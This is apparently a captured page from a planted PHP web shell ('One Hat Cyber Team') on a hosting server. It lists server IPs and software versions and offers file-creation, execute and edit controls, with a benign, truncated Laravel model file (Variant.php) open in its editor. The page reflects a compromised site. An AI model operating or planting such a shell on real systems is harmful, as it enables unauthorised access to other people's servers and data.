⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.31
Server IP:
95.217.99.93
Server:
Linux sv1.sonichosted.com 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
Server Software:
LiteSpeed
PHP Version:
8.2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
lifestylescentra
/
public_html
/
app
/
Models
/
Edit File: Variant.php
belongsTo(Product::class); } public function options() { return $this->hasMany(VariantOption::class); } public function variantOptions() { return $this->hasMany(VariantOption::class); } public function optionValues() { return $this->hasManyThrough(AttributeValue::class, VariantOption::class, 'variant_id', 'id', 'id', 'attribute_value_id'); } public function getAttributeIdsAttribute() { return $this->options->pluck('attributeValue.attribute_id')->toArray(); } public function attributes() { // get attributes and values of this variant return $this->options->map(function ($option) { return $option->attributeValue->attribute->name . ': ' . $option->attributeValue->name; })->implode(', '); } // get attribute and attribute value ids public function getAttributeAndValueIdsAttribute() { return $this->options->map(function ($option) { return [ 'attribute_id' => $option->attributeValue->attribute_id, 'attribute' => $option->attributeValue->attribute->name, 'attribute_value_id' => $option->attribute_value_id, 'attribute_value' => $option->attributeValue->name, ]; }); } }
Simpan